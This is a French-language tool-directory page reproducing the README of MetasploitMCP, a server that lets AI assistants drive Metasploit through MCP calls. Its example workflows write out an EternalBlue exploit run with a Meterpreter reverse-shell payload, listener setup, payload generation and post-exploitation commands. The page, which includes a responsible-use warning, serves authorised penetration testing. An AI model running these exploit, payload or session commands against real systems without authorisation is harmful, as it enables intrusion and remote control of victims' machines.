Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
MetasploitMCP — Serveur MCP pour Metasploit | Kitploit
Outils/GitHubGitHub/gh05tcrew/metasploitmcp
Frameworks de Tests d'IntrusionFrameworks d'ExploitationGénération de PayloadsAnalyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceGénération de Shellcode
70720054il y a 7 moisVérifié par Kitploit
GitHub
gh05tcrew/metasploitmcp

MetasploitMCP

Serveur MCP pour Metasploit

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Serveur MCP Metasploit

Un serveur Model Context Protocol (MCP) pour l'intégration de Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Description

Ce serveur MCP fait office de pont entre les grands modèles de langage comme Claude et la plateforme de tests d'intrusion Metasploit Framework. Il permet aux assistants IA d'accéder dynamiquement aux fonctionnalités de Metasploit et de les contrôler via des outils standardisés, offrant une interface en langage naturel pour des flux de travail complexes de tests de sécurité.

Fonctionnalités

Informations sur les modules

  • list_exploits : Rechercher et lister les modules d'exploitation Metasploit disponibles
  • list_payloads : Rechercher et lister les modules de payload Metasploit disponibles avec filtrage optionnel par plateforme et architecture

Flux de travail d'exploitation

  • run_exploit : Configurer et exécuter un exploit contre une cible, avec la possibilité d'effectuer d'abord des vérifications
  • run_auxiliary_module : Exécuter n'importe quel module auxiliaire Metasploit avec des options personnalisées
  • run_post_module : Exécuter des modules de post-exploitation sur des sessions existantes

Génération de payloads

Télécharger l’outil
  • generate_payload : Générer des fichiers de payload via le RPC de Metasploit (enregistre les fichiers localement)

Gestion des sessions

  • list_active_sessions : Afficher les sessions Metasploit actuelles avec des informations détaillées
  • send_session_command : Exécuter une commande dans un shell actif ou une session Meterpreter
  • terminate_session : Terminer de force une session active

Gestion des handlers

  • list_listeners : Afficher tous les handlers actifs et les tâches en arrière-plan
  • start_listener : Créer un nouveau multi/handler pour recevoir des connexions
  • stop_job : Terminer n'importe quelle tâche ou handler en cours

Prérequis

  • Metasploit Framework installé et msfrpcd en cours d'exécution
  • Python 3.10 ou supérieur
  • Paquets Python requis (voir requirements.txt)

Installation

  1. Clonez ce dépôt
  2. Installez les dépendances :
    root@kitploit:~
    pip install -r requirements.txt
    
  3. Configurez les variables d'environnement (optionnel) :
    root@kitploit:~
    MSF_PASSWORD=yourpassword
    MSF_SERVER=127.0.0.1
    MSF_PORT=55553
    MSF_SSL=false
    PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
    

Utilisation

Démarrez le service RPC Metasploit :

root@kitploit:~
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Options de transport

Le serveur prend en charge deux méthodes de transport :

  • HTTP/SSE (Server-Sent Events) : Mode par défaut pour l'interopérabilité avec la plupart des clients MCP
  • STDIO (Standard Input/Output) : Utilisé avec Claude Desktop et les connexions directes par pipe similaires

Vous pouvez sélectionner explicitement le mode de transport à l'aide de l'option --transport :

root@kitploit:~
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http

# Run with STDIO transport
python MetasploitMCP.py --transport stdio

Options supplémentaires pour le mode HTTP :

root@kitploit:~
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Intégration avec Claude Desktop

Pour l'intégration avec Claude Desktop, configurez claude_desktop_config.json :

root@kitploit:~
{
    "mcpServers": {
        "metasploit": {
            "command": "uv",
            "args": [
                "--directory",
                "C:\\path\\to\\MetasploitMCP",
                "run",
                "MetasploitMCP.py",
                "--transport",
                "stdio"
            ],
            "env": {
                "MSF_PASSWORD": "yourpassword"
            }
        }
    }
}

Autres clients MCP

Pour les autres clients MCP qui utilisent HTTP/SSE :

  1. Démarrez le serveur en mode HTTP :

    root@kitploit:~
    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
    
  2. Configurez votre client MCP pour qu'il se connecte à :

    • Point de terminaison SSE : http://your-server-ip:8085/sse

Considérations de sécurité

⚠️ AVERTISSEMENT DE SÉCURITÉ IMPORTANT :

Cet outil fournit un accès direct aux capacités de Metasploit Framework, qui incluent de puissantes fonctionnalités d'exploitation. Utilisez-le de manière responsable et uniquement dans des environnements où vous disposez d'une autorisation explicite pour effectuer des tests de sécurité.

  • Validez et vérifiez toujours toutes les commandes avant de les exécuter
  • Exécutez-le uniquement dans des environnements de test isolés ou avec une autorisation appropriée
  • Sachez que les commandes de post-exploitation peuvent entraîner des modifications importantes du système

Exemples de flux de travail

Exploitation de base

  1. Listez les exploits disponibles : list_exploits("ms17_010")
  2. Sélectionnez et exécutez un exploit : run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. Listez les sessions : list_active_sessions()
  4. Exécutez des commandes : send_session_command(1, "whoami")

Post-exploitation

  1. Exécutez un module de post-exploitation : run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Envoyez des commandes personnalisées : send_session_command(1, "sysinfo")
  3. Mettez fin à la session lorsque vous avez terminé : terminate_session(1)

Gestion des handlers

  1. Démarrez un listener : start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. Listez les handlers actifs : list_listeners()
  3. Générez un payload : generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Arrêtez un handler : stop_job(1)

Tests

Ce projet inclut des tests unitaires et d'intégration complets pour garantir fiabilité et maintenabilité.

Prérequis pour les tests

Installez les dépendances de test :

root@kitploit:~
pip install -r requirements-test.txt

Ou utilisez le programme d'installation pratique :

root@kitploit:~
python run_tests.py --install-deps
# OR
make install-deps

Exécution des tests

Commandes rapides

root@kitploit:~
# Run all tests
python run_tests.py --all
# OR
make test

# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage

# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html

Suites de tests spécifiques

root@kitploit:~
# Unit tests only
python run_tests.py --unit
# OR
make test-unit

# Integration tests only  
python run_tests.py --integration
# OR
make test-integration

# Options parsing tests
python run_tests.py --options
# OR
make test-options

# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers

# MCP tools tests
python run_tests.py --tools
# OR
make test-tools

Options de test

root@kitploit:~
# Include slow tests
python run_tests.py --all --slow

# Include network tests (requires actual network)
python run_tests.py --all --network

# Verbose output
python run_tests.py --all --verbose

# Quick test (no coverage, fail fast)
make quick-test

# Debug mode (detailed failure info)
make test-debug

Structure des tests

  • tests/test_options_parsing.py : Tests unitaires pour la fonctionnalité d'analyse robuste des options
  • tests/test_helpers.py : Tests unitaires pour les fonctions d'aide internes et la gestion du client MSF
  • tests/test_tools_integration.py : Tests d'intégration pour tous les outils MCP avec un backend Metasploit simulé
  • conftest.py : Fixtures de test partagées et configuration
  • pytest.ini : Configuration Pytest avec les paramètres de couverture

Fonctionnalités de test

  • Simulation complète : Toutes les dépendances Metasploit sont simulées, ce qui permet d'exécuter les tests sans nécessiter une installation réelle de MSF
  • Prise en charge asynchrone : Prise en charge complète des tests async/await avec pytest-asyncio
  • Rapports de couverture : Analyse détaillée de la couverture avec rapports HTML
  • Tests paramétrés : Test efficace de multiples scénarios d'entrée
  • Gestion des fixtures : Fixtures de test réutilisables pour les scénarios de configuration courants

Rapports de couverture

Après avoir exécuté les tests avec couverture, les rapports sont disponibles dans :

  • Terminal : Résumé de la couverture affiché après l'exécution des tests
  • HTML : htmlcov/index.html (en utilisant l'option --html)

Intégration CI/CD

Pour l'intégration continue :

root@kitploit:~
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose

Options de configuration

Répertoire d'enregistrement des payloads

Par défaut, les payloads générés avec generate_payload sont enregistrés dans un répertoire payloads dans votre dossier personnel (~/payloads ou C:\Users\YourUsername\payloads). Vous pouvez personnaliser cet emplacement en définissant la variable d'environnement PAYLOAD_SAVE_DIR.

Définition de la variable d'environnement :

  • Windows (PowerShell) :

    root@kitploit:~
    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
    
  • Windows (Invite de commandes) :

    root@kitploit:~
    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
    
  • Linux/macOS :

    root@kitploit:~
    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
    
  • Dans la configuration de Claude Desktop :

    root@kitploit:~
    "env": {
        "MSF_PASSWORD": "yourpassword",
        "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
    }
    

Remarque : Si vous spécifiez un chemin personnalisé, assurez-vous qu'il existe ou que l'application a la permission de le créer. Si le chemin est invalide, la génération du payload pourrait échouer.

Licence

Apache 2.0